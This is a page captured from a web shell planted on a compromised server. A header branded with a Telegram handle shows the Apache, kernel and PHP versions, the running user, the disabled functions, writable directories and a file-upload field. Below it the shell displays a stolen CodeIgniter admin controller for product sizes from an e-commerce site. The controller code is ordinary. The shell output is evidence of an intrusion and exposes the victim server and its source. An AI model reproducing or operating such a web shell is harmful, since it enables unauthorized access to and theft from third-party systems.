https://t.me/RX1948
Server : Apache/2.4.18 (Ubuntu)
System : Linux canvaswebdesign 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64
User : oppastar ( 1041)
PHP Version : 7.0.33-0ubuntu0.16.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Directory :  /var/www/kanvakanva.com/public_html/application/controllers/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/kanvakanva.com/public_html/application/controllers/admin/Sizes.php
<?php if (!defined('BASEPATH')) {
  exit('No direct script access allowed');
}

class Sizes extends Admin_Controller
{
  //this property is used for validating existing size title on call back edit size
  protected $size_current_id;

  function __construct()
  {
    parent::__construct();
    $this->load->model('size_m');
  }

  //this is to list all sizes
  public function index()
  {
    //pagination in action. 50 results per page
    $this->load->library('pagination');
    $config['base_url'] = base_url() . 'admin/sizes/index';
    $config['per_page'] = 50;
    $config["uri_segment"] = 4;
    $config['num_tag_open'] =
      '<span style="padding-left:10px; padding-right:10px">';
    $config['num_tag_close'] = '</span>';

    //fetch all sizes
    $config['total_rows'] = $this->size_m->record_count();

    $this->pagination->initialize($config);
    $this->data['sizes'] = $this->size_m->get_all_product_size(
      $config["per_page"],
      $this->uri->segment(4)
    );

    //load view
    $this->data['subview'] = 'admin/sizes/index';
    $this->load->view('admin/templates/header', $this->data);
    $this->load->view('admin/_layout_main', $this->data);
    $this->load->view('admin/templates/footer', $this->data);
  }

  //to add a new size
  public function add()
  {
    $this->data['sizes'] = $this->size_m->get_new();

    //validation in action
    //validation check in action
    $config = $this->size_m->rules;
    $this->form_validation->set_rules($config);
    $this->form_validation->set_error_delimiters(
      '<div class="error">',
      '</div>'
    );

    if ($this->form_validation->run() == true) {
      $data = $this->table_data_processing(
        $this->input->post('size'),
        $this->input->post('priority')
      );

      $size_id = $this->size_m->add_product_size($data);

      //add this new size into each product
      $products = $this->db
        ->select('id_products')
        ->from('products')
        ->get()
        ->result();

      foreach ($products as $product) {
        //insert new stock /size data into stock table
        $data = [
          '	product_id' => $product->id_products,
          'size_id' => $size_id,
        ];
        $this->db->insert('stocks', $data);
      }

      $this->session->set_flashdata(
        'success',
        '<br><p style="background:orange; color:white; padding:5px; font-weight:bold;">size Add Successful</p>'
      );

      redirect('admin/sizes');
    }

    $this->data['subview'] = 'admin/sizes/edit';
    $this->load->view('admin/templates/header', $this->data);
    $this->load->view('admin/_layout_main', $this->data);
    $this->load->view('admin/templates/footer', $this->data);
  }

  //to edit size in admin
  public function edit($id = null)
  {
    //check if id exist. If not exist, show 404.
    $count = $this->size_m->count_exist($id);

    if ($count == 0) {
      //page not exist
      show_404();
    }

    $this->data['sizes'] = $this->size_m->get($id);

    $this->size_current_id = (int) $this->data['sizes']->id_product_size;

    //validation check in action
    $config = $this->size_m->rules;
    $this->form_validation->set_rules($config);
    $this->form_validation->set_error_delimiters(
      '<div class="error">',
      '</div>'
    );

    if ($this->form_validation->run() == true) {
      $data = $this->table_data_processing(
        $this->input->post('size'),
        $this->input->post('priority')
      );

      $this->size_m->edit_product_size($id, $data);

      $this->session->set_flashdata(
        'success',
        '<br><p style="background:orange; color:white; padding:5px; font-weight:bold;">Size Edit Successful</p>'
      );

      redirect('admin/sizes');
    }

    $this->data['subview'] = 'admin/sizes/edit';
    $this->load->view('admin/templates/header', $this->data);
    $this->load->view('admin/_layout_main', $this->data);
    $this->load->view('admin/templates/footer', $this->data);
  }

  //to delete a size
  public function delete($id)
  {
    //delete size
    $this->size_m->delete($id);

    $this->session->set_flashdata(
      'success',
      '<br><p style="background:orange; color:white; padding:5px; font-weight:bold;">size Delete Successful</p>'
    );
    redirect('admin/sizes');
  }

  private function table_data_processing($size, $priority)
  {
    $data = [
      'product_size' => $this->security->xss_clean($size),
      'priority' => (int) $priority,
    ];

    return $data;
  }

  //callback function validation add new size
  public function _cek_existing_size_title($str)
  {
    $num_rows = $this->size_m->cek_existing_size_title(
      $str,
      $this->size_current_id
    );

    if ($num_rows != 0) {
      $this->form_validation->set_message(
        '_cek_existing_size_title',
        'Size attribute already exist !'
      );
      return false;
    } else {
      return true;
    }
  }
}

https://t.me/RX1948 - 2025